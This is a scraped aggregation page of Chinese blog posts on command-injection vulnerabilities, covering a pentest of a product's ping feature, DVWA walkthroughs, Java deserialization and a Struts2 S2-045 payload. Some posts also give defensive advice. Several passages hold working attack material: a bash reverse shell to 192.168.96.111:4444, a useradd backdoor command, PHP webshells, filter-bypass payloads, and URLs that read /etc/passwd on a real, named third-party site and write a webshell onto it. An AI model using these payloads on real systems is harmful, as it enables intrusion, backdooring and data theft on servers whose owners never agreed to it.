精华内容
下载资源
问答
  • 命令执行漏洞挖掘实例

    千次阅读 2019-08-22 14:10:42
    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下 一: 前期判断 看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看 输入127.0.0.1本地地址,发现能ping通 ...

    前言

    这两天给公司的产品做安全测试,有个比较经典的命令执行漏洞感觉还挺有意思,写出来记录一下

    一: 前期判断

    看到这里有个网络检测,感觉就有命令执行 的漏洞,抓包就试试看
    在这里插入图片描述
    输入127.0.0.1本地地址,发现能ping通
    在这里插入图片描述
    发现如果命令不正确或者ip地址不存在,返回包为false。因此即使存在命令执行的漏洞也无法回显。那这里就考虑用延时判断是不是存在命令执行漏洞

    二:判断是否存在命令执行注入

    其实之前走了很多歪路,这里就不提了。ping命令有个参数,-c 表示icmp要发几个包。这里我们通过 修改-c 的数目,理论上-c的数值越大,那返回的时间越长
    这里遇到第一个问题
    在这里插入图片描述
    添加参数报错,这里空格处通过%20替代,因为http包有url转码,所以%20到服务器端会解析为空格,成功绕过
    -c 1 时,时间59毫秒
    在这里插入图片描述
    -c 2 ,时间为4086毫秒
    在这里插入图片描述
    从这里的话,就知道-c 这个参数已经带入成功,那在尝试拼接命令。拼接命令使用&&,&,|,||等,都试了,感觉不是很合适,因为前面命令一旦执行成功,页面上马上就回显回来,无法通过时间来判断。这里我使用分号;做拼接,分号后面都命令执行完之后,这个包才能判断true or false
    尝试127.0.0.1 -c 1;sleep 1
    这里 -c 参数不要太大,时间久了默认就false,sleep也不宜过大,只要能体现页面回显的时间变化就可以
    t = 4086
    在这里插入图片描述
    127.0.0.1 -c 1;sleep 2
    t = 8069
    在这里插入图片描述
    到这里就很明确,sleep命令已经执行成功,且存在命令执行注入漏洞

    三:通过命令执行注入获取服务器权限

    这里也卡了一段时间,最后解决就很快。想过2个方法获得服务器权限。
    一个的话通过一句话命令新增用户,到时候直接连服务器就可以。
    如新建test:123456用户
    useradd -p `openssl passwd -1 -salt 'salt' 123456` test
    另外一个就是反弹shell
    bash -i >& /dev/tcp/192.168.96.111/4444 0>&1
    但是呢,这两条命令都有特殊符号,特别像&,如果空格可以用%20绕过都话,其他字符在绕过上我还没啥思路,会报请求错误
    在这里插入图片描述
    到这里又卡了一下,难道命令注入找到了,却无法利用,这就有点尴尬了,后来忽然想起来,空格能通过url编码绕过,那整个请求参数值能做一遍url编码不是也可以嘛,试试看
    在这里插入图片描述
    开启监听
    在这里插入图片描述
    将编码后的参数替换,放包,虽然一直卡着,当监听的shell已经回来,成功拿到服务器权限
    在这里插入图片描述
    在这里插入图片描述

    到这里就结束了,关于那第三节,不知道有没有不通过编码的绕过方式,如果有,感谢指教~

    展开全文
  • 命令执行漏洞

    2019-12-17 22:45:03
    简单命令执行漏洞实例

    命令执行漏洞

    开发人员在进行开发的过程中,或多或少都会调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等。对于开发人员而言,使用这些函数可以方便去除系统的特殊功能等。但是也会带来一些命令执行漏洞。

    黑客在渗透应用时,可能控制了某些函数中的参数,从而把想要执行的恶意代码接入到原来的正常代码中一起执行。

    PHP命令执行漏洞

    PHP是一门脚本语言,比较简洁、方便,但是不是事先编译好的运行速度上自然是没有优势的。而且他不能接触到系统底层,所以就必须要调用系统函数来执行一些指令,自然就造成了漏洞。

    举几个例子来说明问题:

    <?php
    	System($_GET['cmd']);
    ?>
    

    这个我觉得也可以算一句话木马吧,结合命令执行的密码,很多时候程序员代码过滤环节到位,PHP命令执行漏洞很少,我们可以自己创造。

    我将其上传到DVWA里,进行访问http://192.168.42.157/DVWA/hackable/uploads/1.php?cmd=ipconfig

    在这里插入图片描述

    可以看到我输入的命令在系统中被执行了。

    再试一个简单的案例:

    <?php
    	$cmd=($_GET['cmd']);
    	System("ping ".$cmd);
    ?>
    

    编写是要注意在ping后面留空格,毕竟cmd命令还是很吃格式的,格式错了那么效果可能就达不到了。一开始写的时候没有注意这个地方,试了一会儿都出不来结果,最后打开cmd对着看了才发现了空格漏了。

    然后上传到DVWA靶机,在访问http://192.168.42.157/DVWA/hackable/uploads/1.php?cmd=www.baidu.com

    在这里插入图片描述

    结果可以看出我输入的参数被成功执行了。
    这就是两个PHP的简单实例,当然除了代码里的系统函数调用的原因,还有可能是系统本身的漏洞造成命令执行。还有可能是调用的第三方组件纯在代码执行漏洞。这里我目前只有接触到PHP的所以就先这样了,还有很长的路需要走。

    展开全文
  • 命令执行漏洞及防御

    千次阅读 2018-10-22 20:20:35
    原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。 条件:用户能够控制函数输入,存在可以执行代码的危险函数。   命令执行漏洞产生原因: 开发人员没有对特殊函数入口做过滤,导致用户可以提交...

    命令执行:

    PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。

    原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。

    条件:用户能够控制函数输入,存在可以执行代码的危险函数。

     

    命令执行漏洞产生原因:

    开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。

    Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。

     

    命令执行漏洞带来的危害

    1. 继承Web服务程序的权限去执行系统命令或读写文件。
    2. 反弹shell
    3. 控制整个网站甚至控制服务器。
    4. 进一步内网渗透

     

    PHP中的危险函数:

    1. system:成功则返回命令输出的最后一行,失败则返回FALSE。
    2. exec:命令执行结果的最后一行内容。
    3. shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
    4. passthru:执行外部程序并且显示原始输出。
    5. eval:将输入的字符串参数当做PHP程序代码来执行。
    6. assert
    7. preg_replace
    8. call_user_func

     

    DVWA:Command Injection(命令行注入)

    命令连接符:

    在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。

    command1 && command2   先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
    command1 | command2     只执行command2
    command1 & command2   先执行Command 1,不管是否成功,都会执行Command 2

    低:

    源码:

    <?php 
     
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $target = $_REQUEST[ 'ip' ]; 
     
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
     
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
     
    ?> 

    strustr:搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分。

    php_uname:返回运行PHP操作系统的相关描述。s:返回操作系统名称。n:返回主机名。r:返回版本名。

    服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

    由于windows和linux都可以用&&来执行多条命令,所以可以构造payload:127.0.0.1&&net user

     

    中:

    中等级使用的是str_replace吧‘&&’,‘;’替换为空字符串,所以可以构造payload:127.0.0.1 &;&whoami。

    高:

    <?php 
     
    if( isset( $_POST[ 'Submit' ]  ) ) { 
        // Get input 
        $target = trim($_REQUEST[ 'ip' ]); 
     
        // Set blacklist 
        $substitutions = array( 
            '&'  => '', 
            ';'  => '', 
            '| ' => '', 
            '-'  => '', 
            '$'  => '', 
            '('  => '', 
            ')'  => '', 
            '`'  => '', 
            '||' => '', 
        ); 
     
        // Remove any of the charactars in the array (blacklist). 
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
     
        // Determine OS and execute the ping command. 
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
            // Windows 
            $cmd = shell_exec( 'ping  ' . $target ); 
        } 
        else { 
            // *nix 
            $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
        } 
     
        // Feedback for the end user 
        echo "<pre>{$cmd}</pre>"; 
    } 
     
    ?> 

    相比于前面两个等级的,高等级完善了黑名单,但是由于黑名单的局限性,我们可以看出来他只是过滤掉了“| ”,如果|后不跟空格则可以绕过过滤。可以构造payload:127.0.0.1|dir

     

     

    命令执行漏洞实例:

    读取当前目录文件:

    http://ztsj.ztgame.com/stat.php?url=%27%26ls+%26%27

    查看etc目录:

    http://ztsj.ztgame.com/stat.php?url=%27%26ls+/etc+%26%27

    读取系统密码:

    http://ztsj.ztgame.com/stat.php?url=%27%26cat+/etc/passwd+%26%27

    写入一句话木马:

    http://ztsj.ztgame.com/stat.php?url=%27%26echo+"<?php @eval(\$_POST['value']);?>"+>>+php.php+%26%27

     

    命令执行的防御:

    1. 尽量不要执行外部命令。
    2. 使用自定义函数或者函数库来代替外部命令的功能。
    3. 使用escapeshe||arg函数来处理命令参数。
    4. 使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)

     

     

     

     

     

     

     

     

     

    展开全文
  • Web安全-命令执行漏洞

    千次阅读 2019-02-03 23:37:02
    命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常...

    概述

    命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

    漏洞成因:脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。

    敲黑板!敲黑板!敲黑板!提到命令执行漏洞,大家难免会想到代码执行漏洞,两者确实很像,没有太大的区别,提交漏洞时可能没有分的那么详细,不过我们在学习时还是要学会区分不同的概念。

    (1)命令执行漏洞:直接调用操作系统命令。

    其原理为:在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

    (2)代码执行漏洞:靠执行脚本代码调用操作系统命令。

    其原理为:应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    漏洞示例

    入门示例

    命令执行漏洞是指攻击者可以随意执行系统命令。
    在这里插入图片描述在这里插入图片描述

    进阶示例

    注意:下面的例子可能需要通读全文后才能更好的理解。

    使用phpstudy搭建环境,新建一个test.php文件,其中输入代码:

     <?php
         $arg =$_GET['cmd'];
         if ($arg) {
            system($arg);
         }
     ?>
    

    在浏览器中访问:
    在这里插入图片描述
    我们没有加任何东西,当然会报错啦。接下来我们给它加上参数:
    在这里插入图片描述
    这样的操作就是相当于我们在命令行(cmd)下进行ipconfig的查询:
    在这里插入图片描述
    同样我们来做一个代码执行的页面。新建hetian.php,输入代码:
    在这里插入图片描述
    在浏览器中打开:
    在这里插入图片描述

    接下来我们加入自己的参数,在挖掘漏洞时我们最常见的就是使用phpinfo()
    在这里插入图片描述
    我们这里也使用phpinfo();这样执行的效果和我们直接去phpinfo.php查看是一样的:
    在这里插入图片描述

    命令执行模型

    任何脚本语言都可以调用操作系统命令,而各个脚本语言的实现方式都不一样,接下来以PHP和Java两种程序语言为例分析。当程序员明白了这写函数存在的问题后,才能真正做到安全开发。

    PHP命令执行

    实例1、命令执行
    在这里插入图片描述实例2、代码执行
    在这里插入图片描述注意:phpinfo()函数用于显示PHP的版本信息页面。
    在这里插入图片描述
    实例3、动态函数调用

    PHP支持动态函数调用,代码如下:
    在这里插入图片描述

    Java命令执行

    在JavaSE中,存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行指定的字符串命令。像JSP、Servlet、Spring、Hibernate等技术一般执行外部程序都会调用此方法。下面以Runtime类为例进行说明,模型代码如下:
    在这里插入图片描述

    Java反序列化漏洞

    1、什么是序列化和反序列化

    Java描述的是一个‘世界’,程序运行开始时,这个‘世界’也开始运作,但‘世界’中的对象不是一成不变的,它的属性会随着程序的运行而改变。
    但很多情况下,我们需要保存某一刻某个对象的信息,来进行一些操作。比如利用反序列化将程序运行的对象状态以二进制形式储存与文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。

    一个类的对象要想序列化成功,必须满足两个条件:

    (1)该类必须实现 java.io.Serializable 接口。
    (2)该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

    如果你想知道一个 Java 标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现 java.io.Serializable接口。

    下面书写一个简单的demo,为了节省文章篇幅,这里把序列化操作和反序列化操作弄得简单一些,并省去了传递过程。

    对象所属类:

    public class Employee implements java.io.Serializable
    {
       public String name;
       public String identify;
       public void mailCheck()
       {
          System.out.println("This is the "+this.identify+" of our company");
       }
    }
    

    将对象序列化为二进制文件:

    //反序列化所需类在io包中
    import java.io.*;
    
    public class SerializeDemo
    {
       public static void main(String [] args)
       {
          Employee e = new Employee();
          e.name = "员工甲";
          e.identify = "General staff";
          try
          {
            // 打开一个文件输入流
             FileOutputStream fileOut =
             new FileOutputStream("D:\\Task\\employee1.db");
             // 建立对象输入流
             ObjectOutputStream out = new ObjectOutputStream(fileOut);
             //输出反序列化对象
             out.writeObject(e);
             out.close();
             fileOut.close();
             System.out.printf("Serialized data is saved in D:\\Task\\employee1.db");
          }catch(IOException i)
          {
              i.printStackTrace();
          }
       }
    }
    

    一个Identity属性为Visitors的对象被储存进了employee1.db,而反序列化操作就是从二进制文件中提取对象:

    import java.io.*;
    
    public class SerializeDemo
    {
       public static void main(String [] args)
       {
          Employee e = null;
          try
          {
            // 打开一个文件输入流
             FileInputStream fileIn = new FileInputStream("D:\\Task\\employee1.db");
            // 建立对象输入流
             ObjectInputStream in = new ObjectInputStream(fileIn);
            // 读取对象
             e = (Employee) in.readObject();
             in.close();
             fileIn.close();
          }catch(IOException i)
          {
             i.printStackTrace();
             return;
          }catch(ClassNotFoundException c)
          {
             System.out.println("Employee class not found");
             c.printStackTrace();
             return;
          }
          System.out.println("Deserialized Employee...");
          System.out.println("Name: " + e.name);
          System.out.println("This is the "+e.identify+" of our company");
    
    
        }
    }
    

    在这里插入图片描述就这样,一个完整的序列化周期就完成了,其实实际应用中的序列化无非就是传输的方式和传输机制稍微复杂一点,和这个demo没有太大区别。

    2、简单的反序列化漏洞demo

    在Java反序列化中,会调用被反序列化的readObject方法,当readObject方法书写不当时就会引发漏洞

    PS:有时也会使用readUnshared()方法来读取对象,readUnshared()不允许后续的readObject和readUnshared调用引用这次调用反序列化得到的对象,而readObject读取的对象可以。

    //反序列化所需类在io包中
    import java.io.*;
    public class test{
        public static void main(String args[]) throws Exception{
    
            UnsafeClass Unsafe = new UnsafeClass();
            Unsafe.name = "hacked by ph0rse";
    
            FileOutputStream fos = new FileOutputStream("object");
            ObjectOutputStream os = new ObjectOutputStream(fos);
            //writeObject()方法将Unsafe对象写入object文件
            os.writeObject(Unsafe);
            os.close();
            //从文件中反序列化obj对象
            FileInputStream fis = new FileInputStream("object");
            ObjectInputStream ois = new ObjectInputStream(fis);
            //恢复对象
            UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
            System.out.println(objectFromDisk.name);
            ois.close();
        }
    }
    
    class UnsafeClass implements Serializable{
        public String name;
        //重写readObject()方法
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
            //执行默认的readObject()方法
            in.defaultReadObject();
            //执行命令
            Runtime.getRuntime().exec("calc.exe");
        }
    }
    

    程序运行逻辑为:

    (1)UnsafeClass类被序列化进object文件
    (2)从object文件中恢复对象
    (3)调用被恢复对象的readObject方法
    (4)命令执行
    在这里插入图片描述
    了解更多Java反序列化漏洞的信息:https://xz.aliyun.com/t/2041#toc-3

    框架执行漏洞

    至今,框架技术已经被广泛应用,框架让开发变得更简单、更省时、更高效,越来越多的开发者喜欢用框架。使用框架对开发者来说是好事,但是一旦出现了安全漏洞,则是致命的。框架的用户群体越多,危害就越大。像之前爆出的Struts2代码执行漏洞,就让国内的网站消失了一大批。

    Struts2代码执行漏洞

    在这里插入图片描述在这里插入图片描述
    这就是Struts2<2.2.0的命令执行漏洞,让国内外的一些金融、教育、电子商城网站死了一大批,罪魁祸首不是网站自身的漏洞,而是Struts2框架。

    Struts2漏洞重现与原理分析:

    简单说一下Struts2基于“commons-fileupload”组件实现文件上传的漏洞,漏洞编号CVE-2017-5638,S02-45。

    1. 漏洞重现:

      通过发包模拟器或其它你能修改请求头Content-Type字段的客户端,可以把 Content-Type 修改成诸如以下的形式:
      haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};

      自己搭个web服务器,MVC框架使用struts2 (使用有问题的版本),实现一个文件上传的功能。

      然后发包模拟器发包,结果发现在服务端电脑上弹出一个计算器的程序,谁让你动我电脑上的东西了吗?但就是动了,流氓会武术谁也档不住~~ OMG!!!
      在这里插入图片描述
      漏洞形成原理:

      由于头字段Content-Type的内容是非法的,不符合格式的,所以上传肯定是会出错的,commons-fileupload组件的ServletFileUpload#parseRequest(RequestContext)方法会抛出异常,其中异常信息就包含ognl格式的字符串%{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
      重点来了,struts2会对异常信息执行国际化的功能,它会使用ognl去解析这个符合ognl语法格式的字符串,然后就悲剧了,成功弹出一个计算器

    2. 漏洞解决方法

      a. 使用官方补丁.

      b. 对于懒得替换struts2版本的朋友,可以自己在StrutsPrepareAndExecuteFilter过滤器前增加一个过滤器,如果发现Content-Type有非法字符,就不再调用struts2的过滤器就行.

      补充一句,为什么不能使用struts2拦截器来过滤这种请求呢,因为漏洞执行的时候还没到strus2的拦截器,在StrutsPrepareAndExecuteFilter类的doFilter方法中,request = prepare.wrapRequest(request);包装请求对象的时候漏洞就执行了,也就是说如果是文件上传请求,在包装请求对象的时候文件就已被保存到服务器了。

    ThinkPHP命令执行漏洞

    在这里插入图片描述

    防范命令执行漏洞

    了解了代码的执行原理后,对其防范就比较简单了,根据语言的相似点,可以得到以下总结。

    (1)尽量不要使用系统执行命令;
    (2)在进入执行命令函数/方法之前,变量一定要做好过滤,对敏感字符进行转义;
    (3)在使用动态函数之前,确保使用的函数是指定函数之一;
    (4)对PHP语言来说,不能完全控制的危险函数最好不要使用。

    在进行防范之前,确保输入是否可控,如果外部不可输入,代码只有程序开发人员可以控制,这样,即使你写的代码漏洞百出,也不会有危害。这一点适用于所有的安全漏洞的防范。当然,不建议你这么做,隐藏起来并不是真的安全,要永远假定攻击者知晓系统内情,这样才能做到代码阶段的漏洞防范。

    相对而言,只要输入可控,就可能存在安全漏洞,这也验证了一句老话:有输入的地方就有可能存在漏洞!

    DVWA

    命令执行漏洞:程序中因为某些功能需要执行系统命令,并通过网页传递参数到后台执行,然而最根本的原因是没有对输入框中的内容做代码过滤,正常情况下输入框只能接收指定类型的数据。命令注入漏洞可以使攻击在受攻击的服务器上执行任意的系统命令。
    在这里插入图片描述

    Low

     <?php
      if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
     }
    ?>
    

    可以看到,服务器通过判断操作系统执行不同ping命令,但是对IP参数并未做任何的过滤,导致了严重的命令注入漏洞。

    【漏洞利用】
    如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。 比如可以用&&来执行多条命令,命令连接符:&&,|,&……
    在这里插入图片描述

    Medium

    <?php
     if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = $_REQUEST[ 'ip' ];
    
        // Set blacklist
        $substitutions = array(
            '&&' => '',
            ';'  => '',
        );
    
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
    
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
      }
    ?> 
    

    相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,依旧存在安全问题。

    【漏洞利用】
    因为被过滤的只有”&&”与”;”,所以”&”不会受影响。由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 127.0.0.1&;&ipconfig,” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& ipconfig” ,会成功执行。
    在这里插入图片描述

    High

     <?php
      if( isset( $_POST[ 'Submit' ]  ) ) {
        // Get input
        $target = trim($_REQUEST[ 'ip' ]);
        // Set blacklist
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '| ' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
        // Remove any of the charactars in the array (blacklist).
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
      }
    ?>
    

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是”| ” 就有用了。我们依然可以绕过。
    在这里插入图片描述

    Impossible

     <?php
      if( isset( $_POST[ 'Submit' ]  ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $target = $_REQUEST[ 'ip' ];
        $target = stripslashes( $target );
    
        // Split the IP into 4 octects
        $octet = explode( ".", $target );
    
        // Check IF each octet is an integer
        if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
            // If all 4 octets are int's put the IP back together.
            $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
    
            // Determine OS and execute the ping command.
            if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
                // Windows
                $cmd = shell_exec( 'ping  ' . $target );
            }
            else {
                // *nix
                $cmd = shell_exec( 'ping  -c 4 ' . $target );
            }
    
            // Feedback for the end user
            echo "<pre>{$cmd}</pre>";
        }
        else {
            // Ops. Let the user name theres a mistake
            echo '<pre>ERROR: You have entered an invalid IP.</pre>';
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    ?>
    

    可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

    展开全文
  • 定义:命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令。 漏洞实例: <?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$target); echo "<pre>{$cmd}</pre>"; ?> 当在...
  • 任意命令执行漏洞简介

    千次阅读 2018-06-24 08:31:48
    命令成因脚本语言有点事简洁,方便,但也伴随一些问题,比如运行速度慢,无法接触...如php中的system,exec,shell_exec等,当用户可以控制命令执行的函数时,可以恶意注入系统命令到正常命令中,造成命令执行在PHP...
  • 影响版本 BR270n-v2.1.03 BRC76n-v2.1.03 GR297-v2.1.3 RB1732-v2.0.43 漏洞实例 fofa搜索 app="Sapido-路由器" poc:ip/syscmd.htm 即可以输入命令执行
  • 命令执行漏洞介绍及利用

    千次阅读 2020-06-12 14:02:53
    命令执行漏洞原理 web应用程序接受用户输入,拼接到要执行的系统命令中执行 产生原理: 1.用户输入未过滤或净化 2.拼接到系统命令中执行
  • 命令执行漏洞是指攻击者可以随意执行系统命令。它属于高危漏洞之一,也属于代码执行的范畴。 命令执行漏洞不仅存在于B/S架构中,在CS架构中也常常遇到,本章只讲述Web中的命令执行漏洞。 8.1 OS命令执行漏洞示例 ...
  • 命令执行漏洞概述 参考《web安全深度剖析》 一、概念 命令执行漏洞属于高危漏洞,指攻击者可以随意执行系统命令,它属于代码执行的范畴,不仅存在B/S架构中,也存在于C/S架构中。 二、分类 OS命令执行 部分Web应用...
  • 命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别。 0x01漏洞实例 例1: &lt;?php $target=$_REQUEST['ip']; $cmd = shell_exec('ping '.$...
  • JAVA RMI 反序列化远程命令执行漏洞

    万次阅读 2017-05-11 00:42:34
    JAVA RMI 反序列化远程命令执行漏洞 漏洞资料 背景 原理 Payload构造 搭建本地测试环境 开启包含第三方库的RMI服务 测试RMI客户端 攻击测试 升级版攻击 Weblogic Commons-Collections反序列化RCE漏洞CVE-2015-4852...
  • 命令执行漏洞的原理: 在操作系统中, & 、&& 、| 、 || 都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令 可以...
  • ThinkPHP5远程命令执行漏洞

    千次阅读 2019-01-02 10:24:40
    0x01 ThinkPHP简介 ...从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,注重开发体验和易用性,为...ThinkPHP5远程命令执行 (2)漏洞描述 由于ThinkPHP5框架对控制器名没有进行足够的安...
  • php代码审计【4】命令执行漏洞
  • fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson 1.2.24 反序列化导致任意命令执行漏洞 fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过...
  • 前言今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行,一开始大胆猜测将True改为False即可。经过测试确实是这样,但是参数需要放在list里,稍微有点麻烦。后来考虑,...
  • Fastjson 反序列化导致任意命令执行漏洞Vulnhub官方复现教程漏洞原理复现漏洞启动环境生成字节码本环境目录结构解压war漏洞复现生成字节码构造POC漏洞利用本地测试 Vulnhub官方复现教程 ...漏洞原理 ...
  • fastjson 反序列化导致任意命令执行漏洞 原理 ...
  • CTFWeb-命令执行漏洞过滤的绕过姿势

    千次阅读 热门讨论 2021-04-29 01:13:38
    在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的...
  • 2021年1月15日,JumpServer发布更新,修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求获取到日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。...
  • 对于日前 XXL-JOB被各大云厂商报出存在远程命令执行漏洞的情况,XXL-JOB 作者表示此问题本质上不是“漏洞”,因为官网版本已提供鉴权组件,开启即可防护。具体回应如下: 该问题本质上不属于“漏洞”,官网版本...
  • Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛...fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令
  •  ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受...
  • 1.1 概述 友讯集团(D-Link),成立于1986年...1月17日,CNVD公开了D-LinkDIR 615/645/815 service.cgi远程命令执行漏洞(CNVD-2018-01084)。由于笔者近期对网络设备进行渗透技术略有研究,便复现了一下该漏洞。 ...
  • 有些动态脚本语言如 php 支持 实例对象的序列化传输 然后服务端 将实例对象反序列化出来并执行解析后实例的构造函数析构函数或 _wakeup) 函数若这些函数利用了用户可控的参数则会触发命令 / 代码注入执行漏洞原理和...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 20,054
精华内容 8,021
关键字:

命令执行漏洞实例